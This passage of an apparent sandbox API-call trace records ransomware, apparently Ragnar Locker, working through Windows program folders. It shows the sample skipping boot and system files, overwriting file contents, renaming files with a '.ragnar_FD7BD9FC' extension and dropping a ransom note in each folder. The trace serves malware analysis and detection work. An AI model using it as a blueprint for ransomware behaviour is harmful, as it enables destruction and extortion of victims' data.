nNumberOfBytesToLockHigh=0x0) returned 1 [0077.750] WriteFile (in: hFile=0x100, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0xff7f2, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1ea458*=0xff7f2, lpOverlapped=0x0) returned 1 [0077.753] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xff7f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.753] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.758] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xff7f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.758] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.758] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.758] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.761] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.761] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.761] GetProcessHeap () returned 0x580000 [0077.761] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.761] CloseHandle (hObject=0x100) returned 1 [0077.761] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" [0077.761] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.ragnar_FD7BD9FC" [0077.761] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.763] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80912080, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80912080, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.763] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.763] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.763] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.763] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.763] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0077.763] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.763] lstrcpyW (in: lpString1=0x1eab6a, lpString2="WT61ES.LEX" | out: lpString1="WT61ES.LEX") returned="WT61ES.LEX" [0077.763] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned=".LEX" [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="autorun.inf") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="boot.ini") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="bootfont.bin") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="bootsect.bak") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="bootmgr") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="bootmgr.efi") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="bootmgfw.efi") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="desktop.ini") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="iconcache.db") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="ntldr") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="ntuser.dat") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="ntuser.dat.log") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="ntuser.ini") returned 1 [0077.764] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="thumbs.db") returned 1 [0077.764] lstrcmpiW (lpString1=".LEX", lpString2=".db") returned 1 [0077.764] lstrcmpiW (lpString1=".LEX", lpString2=".sys") returned -1 [0077.764] lstrcmpiW (lpString1=".LEX", lpString2=".dll") returned 1 [0077.764] lstrcmpiW (lpString1=".LEX", lpString2=".lnk") returned -1 [0077.764] lstrcmpiW (lpString1=".LEX", lpString2=".msi") returned -1 [0077.764] lstrcmpiW (lpString1=".LEX", lpString2=".drv") returned 1 [0077.764] lstrcmpiW (lpString1=".LEX", lpString2=".exe") returned 1 [0077.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex")) returned 0x20 [0077.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.765] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=678912) returned 1 [0077.765] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xa5bf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.765] GetProcessHeap () returned 0x580000 [0077.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.765] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.766] VirtualAlloc (lpAddress=0x0, dwSize=0xa5c00, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0077.766] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.766] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.766] ReadFile (in: hFile=0x100, lpBuffer=0x21c0000, nNumberOfBytesToRead=0xa5c00, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1ea45c*=0xa5c00, lpOverlapped=0x0) returned 1 [0077.779] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.783] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa5c00, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.783] WriteFile (in: hFile=0x100, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0xa5c00, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1ea458*=0xa5c00, lpOverlapped=0x0) returned 1 [0077.785] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa5c00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.785] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.788] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xa5c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.788] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.788] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.788] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.788] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.788] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.788] GetProcessHeap () returned 0x580000 [0077.788] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.788] CloseHandle (hObject=0x100) returned 1 [0077.788] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" [0077.789] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.ragnar_FD7BD9FC" [0077.789] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.789] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0077.789] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.789] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0077.789] lstrcmpiW (lpString1="FRAR", lpString2=".") returned 1 [0077.789] lstrcmpiW (lpString1="FRAR", lpString2="..") returned 1 [0077.789] lstrcmpiW (lpString1="FRAR", lpString2="Windows") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="Windows.old") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="Tor browser") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="Internet Explorer") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="Google") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="Opera") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="Opera Software") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="Mozilla") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="Mozilla Firefox") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="$Recycle.Bin") returned 1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="ProgramData") returned -1 [0077.790] lstrcmpiW (lpString1="FRAR", lpString2="All Users") returned 1 [0077.790] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.790] lstrcpyW (in: lpString1=0x1eb638, lpString2="FRAR" | out: lpString1="FRAR") returned="FRAR" [0077.790] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\" [0077.790] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\" [0077.790] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\RGNR_FD7BD9FC.txt" [0077.790] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.794] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*" [0077.794] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.794] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.794] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.794] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x809d0760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x809d0760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.795] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x809d0760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x809d0760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.795] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.795] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2=".") returned 1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="..") returned 1 [0077.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809d0760, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x809d0760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.795] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.795] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809d0760, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x809d0760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0077.795] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x809d0760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x809d0760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x809d0760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x809d0760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0077.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.795] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSB1FRAR.ITS" | out: lpString1="MSB1FRAR.ITS") returned="MSB1FRAR.ITS" [0077.795] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS") returned=".ITS" [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="autorun.inf") returned 1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="boot.ini") returned 1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="bootfont.bin") returned 1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="bootsect.bak") returned 1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="bootmgr") returned 1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="bootmgr.efi") returned 1 [0077.795] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="bootmgfw.efi") returned 1 [0077.796] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="desktop.ini") returned 1 [0077.796] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="iconcache.db") returned 1 [0077.796] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="ntldr") returned -1 [0077.796] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="ntuser.dat") returned -1 [0077.796] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="ntuser.dat.log") returned -1 [0077.796] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="ntuser.ini") returned -1 [0077.796] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="thumbs.db") returned -1 [0077.796] lstrcmpiW (lpString1=".ITS", lpString2=".db") returned 1 [0077.796] lstrcmpiW (lpString1=".ITS", lpString2=".sys") returned -1 [0077.796] lstrcmpiW (lpString1=".ITS", lpString2=".dll") returned 1 [0077.796] lstrcmpiW (lpString1=".ITS", lpString2=".lnk") returned -1 [0077.796] lstrcmpiW (lpString1=".ITS", lpString2=".msi") returned -1 [0077.796] lstrcmpiW (lpString1=".ITS", lpString2=".drv") returned 1 [0077.796] lstrcmpiW (lpString1=".ITS", lpString2=".exe") returned 1 [0077.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 